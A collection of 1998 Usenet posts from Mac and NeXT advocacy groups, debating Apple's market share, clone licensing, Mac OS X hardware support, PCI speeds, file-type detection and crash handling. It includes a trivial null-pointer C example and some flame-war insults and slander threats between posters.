> Please don't say it involves something filesystem dependent like forks - BAD
> idea.
GIF files are different from JPG files which are different from AIFF files
or WAV files which are different from Word 97 documents. Right now, the
way OSes determine the type of these files is to either look at the file
name extension or look at the type/creator codes. The information for what
kind of file it is is contained somewhere else though. It's contained in
the structure of the file itself.
When an application is installed, it could register with the OS what types
of files it can open. Perhaps this means providing the OS with some little
function to determine whether the file can be opened with that app. When
the user double clicks on a file, the OS would go through and test it
against all the registered types that the installed apps support. For some
things it will be immediately obvious while other things might be a more
complicated process.
This way, the name of the file doesn't define its type to the OS, and
there is no set of type/creator codes that can erroneously define the file
type to the OS. With this way, the OS would _know_ what kind of file it is
through the contents of the file itself. Note that the OS does not need to
know about every file type in the world, but just have a way of
determining the type of things that can be opened by the installed
applications.
When the OS comes across an unknown file, it might present a list of
likely applications that could open it. This would stand a much higher
chance at choosing the correct application to open a file, and would make
the process much more transparent to the user.
It won't entirely solve all the problems, but it could be better than what
we deal with now in Windows and the Mac OS.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 11:55:39 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981155400001@sdn-ar-001casbarp306.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2407981630080001@wil51.dol.net> <35BB8E53.DC3C13C4@nstar.net> <6pgos1$1v1@newsb.netnews.att.com> <gmgraves-2707981005120001@sf-usr1-17-145.dialup.slip.net>
In article <gmgraves-2707981005120001@sf-usr1-17-145.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Well, this is the "official" party line. The truth is somewhat different,
> apparently. Two of Spindler's underlings, Jim Buckley and Fred Forsythe
> were worried that because, Gateway, like Dell, sold their products only
> by direct order and because they discounted their offerings significantly
> below those of Compaq, HP, etc.(for similarly configured PCs),that therefore
> they would so undercut Apple's prices (and profit margins) that Apple would
> not be able to sustain them. In other words, Apple was afraid of a deep
> discount channel because it would undermine their high prices and make them
> look ridiculous for charging so much, when similar machines offering the
> same performance, could be had from Gateway MUCH cheaper.
Oh, so I guess just highering the prices that Gateway would have to pay
(ie instead of $50 for the os, charge them $80, and instead of $100 to
$500 for the motherboard, say $300 to $1200) would require too much brain
power for those in charge at the time?
If they try to argue that its too high, fine, let them. You can then have
your pr people say "we offered a clone license to gateway, but they wanted
such a low price that it would cost us money for each sale"
Nah, thats just too logical
>As was usual
> with Apple in those days, without a consensus, Spindler didn't know how
> to react, so he did what he always did in that situation, he squashed the
> project.
>
> George Graves
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 13:10:02 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2707981310020001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com>
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In article <6pgjkh$1i1$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Limiting a desktop/laptop UI to that of a palmtop/PDA unit LCD is moronic.
Why? How would the Mac OS be "limited" by a 9" screen. The same UI works
well on a 640x480 screen, and that resolution could probably be produced on
a 9" screen. It seems like you are hung up on the size of the screen, when
you should actually be talking about the resolution displayed.
> What apple could do is what it has in the past; at least in principle on this
> UI/device topic. You tout the newton. That had a DIFFERENT UI appropriate
> to the size and abilities of the newton screen. You make solutions
> appropriate for the task.
And the Newton failed. In theory, it was a great idea. In practice, people
didn't like learning a new UI, and there wasn't enough software being
produced for it (especially with crossplatform capabilities being taken
into account). A Mac OS--based palmtop would seem to solve both of these
problems.
> Limiting a desktop/laptop UI to that of a
> palmtop/pda machine is a bad idea.
Again, how would it be "limited"? How do you know what resolution would be
available on a 9" screen?
> Laptops today have 13.3, 14.2, & 15.1"
> screens. Very close to desktop sizes.
That's great. These can display as much as 1024x768 resolution, maybe even
more. However, I am currently working in 632x624 resolution just fine, and
I know people who use 640x480 regularly. Why are these resolutions fine for
desktop use, but useless for a palmtop?
> There is some sense to keep those
> UI's similar. In my opinion, I don't see any wisdom in limitiing the
> desktop/laptop UI to what will work well on a significantly smaller screen.
AGAIN, how is the current Mac UI limited by its ability to work on a
smaller screen? For example, the ability to display small icons does not
limit desktop users to displaying large icons.
> YMMV. Furthermore, I never said I didn't like the newton, that's your
> assumption. You're wrong.
Sorry, my mistake.
> I suggest they act sensibly. That means not limiting their desktop/laptop
> machines to the LCD of a palmtop/PDA UI.
And again, I put it to you that the current UI works well at 640x480. How
is it limited by that fact? You have yet to demonstrate any way in which
the current UI is limited by its ability to work at lower resolutions, and
hence, lower screen sizes.
Andy Bates.
Date: Mon, 27 Jul 1998 13:00:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2707981300100001@wil39.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net> <joe.ragosta-2707980627030001@elk49.dol.net> <gmgraves-2707980922290001@sf-usr1-17-145.dialup.slip.net>
In article <gmgraves-2707980922290001@sf-usr1-17-145.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <joe.ragosta-2707980627030001@elk49.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net>,
> > gmgraves@slip.net (George Graves) wrote:
> >
> > > But Joe, they are STILL losing market share. The MacOS is not
growing, unit
> > > shipments are growing.
> >
> > But George, this is not true.
> >
> > Apple lost market share for a long time. But the most recent reports in
> > _overall_ market share, retail market share, and educational market share
> > all show an increase from the earlier quarter.
> >
> > Now, you could argue that this is unsustainable (and you have). You could
> > argue that it's too small an increase to matter (and you have). You could
> > argue a lot of things--most of them harder to refute. But your continued
> > insistence that the Mac is still losing market share is wrong, at least
> > according to the most recent reports.
>
> I give up.
Why?
Just the morning, the WSJ confirmed what I've been saying--that most PC
vendors had a decline in sales for the 2nd quarter compared to the 1st
quarter. Apple was flat. That means an increased market share.
Just what's wrong with my evidence?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Mon, 27 Jul 1998 13:11:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2707981311490001@wil76.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com>
In article <35BCA708.7440433@intel.com>, Vareck Bostrom
<vareck.bostrom@intel.com> wrote:
> Can you continue to use TCP/IP on your LAN after you're connected via SLIP?
I'm not sure--I've never used SLIP. But I'll assume that it's similar to PPP.
If that's a fair analogy, the answer for Mac OS 8.1 is yes. (I can't
remember when this functionality was introduced).
As evidence, I can connect to the Internet either via PPP or Ethernet
(TCP/IP on our network). Our e-mail is also on the TCP/IP network.
I can be downloading files via PPP while checking e-mail on TCP/IP. So
they work together.
>
> - Vareck
> speaking only for myself
>
>
> Joe Ragosta wrote:
>
> > True. But not much of an issue.
> >
> > My normal morning routine is to start my Mac, launch PPP, then open Eudora
> > and MSIE. To do so, I open PPP, then click on "connect". I then launch
> > Eudora. As soon as it launches, I launch MSIE. By that time, the PPP
> > connection is completed. Total elapsed time? Perhaps 15 seconds.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pascal Bourguignon <pbourgui@afaa.asso.fr>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.sysadmin
Subject: Re: Oldest code in Mac OS-X server?
Date: 27 Jul 1998 19:11:07 GMT
Organization: None
Message-ID: <6pijcb$nmk$1@news.imaginet.fr>
References: <6pg6t7$rbn$1@supernews.com>
a lt e n ber@nashville.com (Lee Alte nb erg) wrote:
>This post is mainly for amusement. I was going through my system files to
>see which I had modified and needed to backup to restore my system in case
of
>a crash, and I came across some files in NEXTSTEP 3.3 that dated back to
>1987. Especially interesting is /usr/lib/units from June 2, 1987 . It
gives
>the exchange rate for the Yen as $.0045 and the Ruble as $1.5600. It's
>still there in OpenStep/Mach 4.2. I am curious if /usr/lib/units made it to
>Rhapsody DR2? If anyone can find even older files in RDR2 I'd be fascinated
>to know what they are.
NEXTSTEP-3.3% ls -l /usr/pub
total 9
-rw-r--r-- 1 root 2114 Nov 6 1978 ascii
-rw-r--r-- 1 root 2969 Dec 1 1978 eqnchar
-rw-r--r-- 1 root 475 Dec 1 1978 greek
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: New PowerPCs are announced
Date: 27 Jul 1998 20:44:18 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pior2$7s4@newsb.netnews.att.com>
Originator: gupta@tlctest
Motorola just announced that the next revision of the PowerPC G3s
are available. They use a core 1.9 V, compared to 2.6 V for the
older revision.
They are available in 266,300,333,366 MHz.
As a result of the lower voltage operation, the 366-MHz part
uses 5.0W/6.5W (typical,max) compared to
7.0W/9.0W for the older 300 MHz part. The new 300-Hz part uses
half the power of the old 300 MHz part.
Motorola claims SPECint95 of 16.1, SPECfp95 of 9.9 @ 366 MHz
with a 244 MHz, 1 MB L2. (The 300 MHz part gets 14.0 SPECint95
with a 150 MHz, 1 MB L2.)
Not a tremendous speed-bump, but the power consumption reduction
should be very nice for laptops.
Data at : http://www.mot.com/SPS/PowerPC/library/fact_sheet/750_fs.pdf
-arun gupta
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 12:44:57 -0700
Message-ID: <see-below-2707981244580001@dynamic43.pm09.mv.best.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net>
In article <joe.ragosta-2607982033560001@elk91.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > I believe that I can run Windows 98 on a 386sx if I so desired.
> >
> > It is very strange Joe, Mac advocates have been championing Apples great
> > backward compatibility as a big feature. Now we're being told it doesn't
> > count for anything?
>
> I wouldn't say it doesn't mean anything. It would be very, very nice if I
> could run Rhapsody on my old IIsi. But it's not going to happen and there
> are other factors I consider more important.
>
> My point was that both Apple and Microsoft have to obsolete old machines
> at some point.
I agree. But "obsoleting" computers as recent as the 300MHz+ 8600 and 9600
isn't exactly a reasonable step (particualary considering their "required"
role for Rhapsody developers, and their similarity in capabilities and
performance to the G3 PowerMacs that will be supported).
This isn't about Apple supporting 68k Macs, or NuBus PowerMacs, or
Performas, or even every single model of PCI PowerMac. This is about them
supporting the reasonably recent subset of still-powerful and expandable
PCI PowerMacs which they designed Rhapsody to support. It's about high-end
machines (used primarily by supposedly the target market for OS X) which
in some cases will be barely a year old when OS X is released. It's also
about machines which will run "OS X Server" but won't run "OS X".
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 21:05:29 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6piq2p$g3o$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <joe.ragosta-2707981611370001@wil75.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article
> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
> > In article <joe.ragosta-2707980631070001@elk49.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > Sure. And in another thread you called Donal Brown a lame
> > > programmer which is direct libel. That's supposed to be OK,
> > > but I say that if I remember something correctly..... and I
> > > turn out to be wrong and you threaten to sue me?
You see, offering my opinion about someone's abilities is not slander. I
think that Joe Blow is doing a bad job. That is my opinion, and I'm entitled
to it. It may well be wrong, but it's my opinion and nothing more. Which is
very different from me saying "I know for a fact that Joe Blow messed up on
this project" or "Joe blow messed up on a project." Your poor memory isn't a
defense either. The "IIRC" isn't a defense. If I say "IIRC John Doe was
convicted of child molestation" that is slander. It talks about something
having occurred as a fact, and if that is not the case, then that remark is
slanderous. Even the papers and media at large will be held liable for such
statements. The point being, if you're making a factual assertion about
someone, not an opinion, you had better be sure it is correct, or else you
risk being liable for slander; not being sure about the factual assertion and
still making it, makes you all the more liable because then you are being
reckless.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 19:27:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pikb9$9al$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981 <6phbrl$ibc$1@nnrp1.dejanews.com> <6pi5lq$5ue@newsb.netnews.att.com>
In article <6pi5lq$5ue@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Writing to the null address is rarely something that a MacOS user does.
> I launch PPP, Netscape, Eudora Lite and NCSA telnet while the previous
> is loading.
Not but their applications might and they are not protected from this.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 19:34:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6piknu$9j9$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BC9473.A18302A8@nstar.net> <joe.ragosta-2707981114320001@wil47.dol.net>
In article <joe.ragosta-2707981114320001@wil47.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> 5 minutes to load 20 apps? Seems like a long time.
Maybe these are big apps loading over a slow network.
> But you can't make a direct comparison between Mac OS and Unix in this
> way. On the Mac, it's easy to be very productive with a smaller number of
> apps. Instead of 20 specialized apps, you use a smaller number of more
> versatile apps.
When I'm doing Mac OS development, I typically have about 15 apps running.
> But, if you insist, put an alias to the most commonly used apps into your
> startup folder. Then, set your Mac to start up 20 minutes before you come
> to work.
Doesn't help you when your computer crashes...
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 12:51:49 -0700
Message-ID: <see-below-2707981251500001@dynamic43.pm09.mv.best.com>
References: <35bbcc48.0@news.depaul.edu> <B1E14963-127A3@206.165.43.43> <Pine.SOL.3.96.980727092249.13400A-100000@ux7.cso.uiuc.edu>
In article <Pine.SOL.3.96.980727092249.13400A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On 26 Jul 1998, Lawson English wrote:
>
> > The claim is that Apple now has nearly 10% of that market.
> >
> > Doesn't make sense.
>
> It's possible that sales are doing _really_ well at CompUSA and the other
> retailers that Apple sells through. CompUSA is just the only _national_
> chain. There are other local and regional chains that still sell Macs.
Also, is this figure units or $$? If it's dollars, we may be comparing a
certain number of $900 PCs to a lower number of $1700 Macs...
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Mon, 27 Jul 1998 17:22:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2707981722550001@wil31.dol.net>
References: <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com>
In article <not-2707981327520001@ip-26-031.phx.primenet.com>,
eilersm@psn.net wrote:
> In article <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > I think Apple needs to get on the AGP bandwagon soon or it will be very
> > left behind. PCI is starting to be a real limitation. The available
> > bandwidth is not nearly so impressive anymore. A 64bit 66MHz PCI would be
> > fine except that there are already a bunch of good AGP cards out there now
> > with even better ones coming through the pipeline.
>
> What about Macs with a 80 MHz or 110 MHz PCI bus? I have a 60 MHz bus in
> my PowerCenter Pro and it drives PCI cards noticeably faster than the 50
> MHz bus in my 7500.
NOT.
PCI speeds are limited to 33 MHz on most PCI Macs (IIRC, some might be at
30 MHz). The system bus speed is not the same as the PCI speed.
PCI cards at > 33 MHz are only available for very high end workstations (I
don't think any Wintel or Mac has them yet). There are rumors that the
Gossamer II Macs will have one 66 MHz PCI card, but I'm assuming you don't
have one of those yet.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: what the heck?(WAS: Market share numbers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <joe.ragosta-2707980922590001@wil37.dol.net> <macghod-2707981119300001@sdn-ar-001casbarp259.dialsprint.net>
Message-ID: <35bcde8a.0@news.depaul.edu>
Date: 27 Jul 98 20:09:46 GMT
In comp.sys.next.advocacy Steve Sullivan <macghod@concentric.net> wrote:
> "Several people have been posting recently that it's impossible for Apple's
> overall market share to have risen recently. Their argument was that
> Apple's sales were flat from Q1 to Q2 and the rest of the market was
> growing"
> Ok, Joe has clearly marked the topic as being about TOTAL MARKET SHARE.
> Lets say the total market of any thing, say compadres, is 100 units last
> year, and 200 units this year. My company's (aple) total shares were 20
> units both years.
> My market share dropped by half, from %10 to %5. It doesnt matter how the
> other companies did. Lets the first year their were 5 companies making
> compadres, and the other 4 each sold the same ammount, 20.
Wrong.
Say 1st quarter sales were broken up like this:
Compaq 50%
IBM 30%
Sony 15%
Apple 4%
Misc 1%
Then second quarter, Compaq, IBM, and Sony sell 10% fewer
*units*, while Apple stays the same. The percentages then
look like this:
Compaq 45%
IBM 27%
Sony 13.5%
Apple 13.5%
Misc 1%
In short, you're wrong. You also should really knock
off the Joe Ragosta fixation. It's immature and makes
you look like an idiot.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Date: Mon, 27 Jul 1998 17:20:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Nathan Dozier is a lying fool!
Message-ID: <joe.ragosta-2707981720220001@wil31.dol.net>
References: <35B89FC6.8661DDD6@rauland.com> <B1E18D43-16D1C@204.32.201.34>
In article <B1E18D43-16D1C@204.32.201.34>, "Nathan Dozier"
<surfweb@ix.netcom.com> wrote:
> Dont hold back now, Anton. Or is this the Edwin personality? Or maybe its
> the "macsbug" personality. Or maybe LInda? Or Jane?
Your posts would be much easier to read if you added a quote character. As
it is, your words are at the same level as the person you're quoting which
makes it hard to read.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 27 Jul 1998 21:19:00 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6piqs4$onq$1@news.spacelab.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com>
"Nevin \":-]\" Liber" <nevin@CS.Arizona.EDU> wrote:
[ ... ]
>>In the Mac OS, writing to the null address causes a crash.
>
>Under just about every OS out there, writing to the null address causes a
>crash *of the application*. The MacOS is no different in this respect.
>Running the following program under Solaris:
>
>void main(void)
>{
> char * null = 0;
>
> *null = 0;
>}
>
>I get:
>
>Segmentation fault (core dumped)
>
>What exactly do you think should happen??
The action of writing to an invalid memory address should raise an exception
(under Solaris, it's called a signal) which could be handled by the
application if so desired. Polite programs do exactly that and provide
superior error handling, eg. providing an alert panel to warn the user that
an error happened and offer to save any open documents.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: arlis@iquest.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 21:29:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pirf3$i8k$1@nnrp1.dejanews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com>
In article <6pggns$1i1$1@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Come on. That was the entire argument that Michael Peck and (IIRC) John
> > Kheit were using. They're saying that it's Apple's fault that Novell
> > dropped Netware for PPC and IBM dropped OS/2 for PPC and so on.
>
> Are you out of your mind? Unless, you a) back up that I ever said that, or
> b) apologize, I think I will seriously consider dragging your ass into court
> for slander. You friggin twit. I never said any such thing, and I defy you
> to find that I did; or even that I ever spoke about Novell! This is slander.
> Let me make this very very clear. If you ever misrepresent what I say again,
> I absolutely will sue you and make it a point to punish you to the extent the
> law will allow.
Hyperbole is the absolute worst mistake you can make.
But I think I know a lawyer who will take the case. You can reach him at
1-800- 555-WAAH
Cheers
--------------
Arlis R. Tyner - arlis@iquest.net - http://members.tripod.com/~arlis
"Don't worry about people stealing your ideas. If your ideas are any good,
you'll have to ram them down people's throats" - Howard Aiken
--------------
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From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches: Multi-users
Date: 27 Jul 1998 21:33:46 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pirnq$os9$1@news.spacelab.net>
References: <35bbc451.0@news.depaul.edu> <1998072701033400.VAA23503@ladder01.news.aol.com>
willadams@aol.com (WillAdams) wrote:
>> If you have a system where users can add hardware and the drivers for it,
>> it will be possible to create viruses for it.
>
>How many viruses are there which affect Linux systems?
How many viruses are there which affect SunOS/Solaris systems? That's the
most common Unix system around, and I can't think of a single virus for it
(worms & trojan horses do exist, as Morris proved, however).
>>How has NT fared, with regards to viruses?
>
> Well, there's one aspect of it which is specifically targeted against
> viruses, the "press ctrl alt del" to log on message/requirement--
> apparently this minimizes the possibility of a fake log-on screen boot
> sector virus.
That should be a "fake log-on screen trojan horse", not a virus.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Pulsar <tokarek@uiuc.edu>
